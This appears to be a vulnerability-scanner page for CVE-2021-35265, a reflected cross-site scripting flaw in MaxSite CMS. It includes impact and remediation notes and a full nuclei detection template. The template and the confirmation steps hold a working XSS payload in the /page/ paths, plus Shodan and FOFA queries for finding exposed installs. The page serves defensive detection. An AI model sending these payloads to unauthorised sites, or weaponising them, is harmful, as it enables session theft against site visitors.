MaxSite CMS > V106 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).

How to confirm it

Send: GET {{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E ; GET {{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E
Positive when: contains "><svg/onload=alert(document.domain)>" AND contains "mso-comments-rss\">RSS</a>" or "MaxSite CMS" or "feed\"><span>RSS</span>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-35265 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-35265

info:
  name: MaxSite CMS > V106 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
  reference:
    - https://github.com/maxsite/cms/issues/414#issue-726249183
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35265
    - https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35265
    cwe-id: CWE-79
    epss-score: 0.03436
    epss-percentile: 0.89067
    cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: maxsite
    product: maxsite_cms
    shodan-query:
      - html:'content="MaxSite CMS'
      - http.html:'content="maxsite cms'
    fofa-query: body='content="maxsite cms'
  tags: cve2021,cve,maxsite,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
      - '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(document.domain)>'

      - type: word
        part: body
        words:
          - 'mso-comments-rss">RSS</a>'
          - 'MaxSite CMS'
          - 'feed"><span>RSS</span>'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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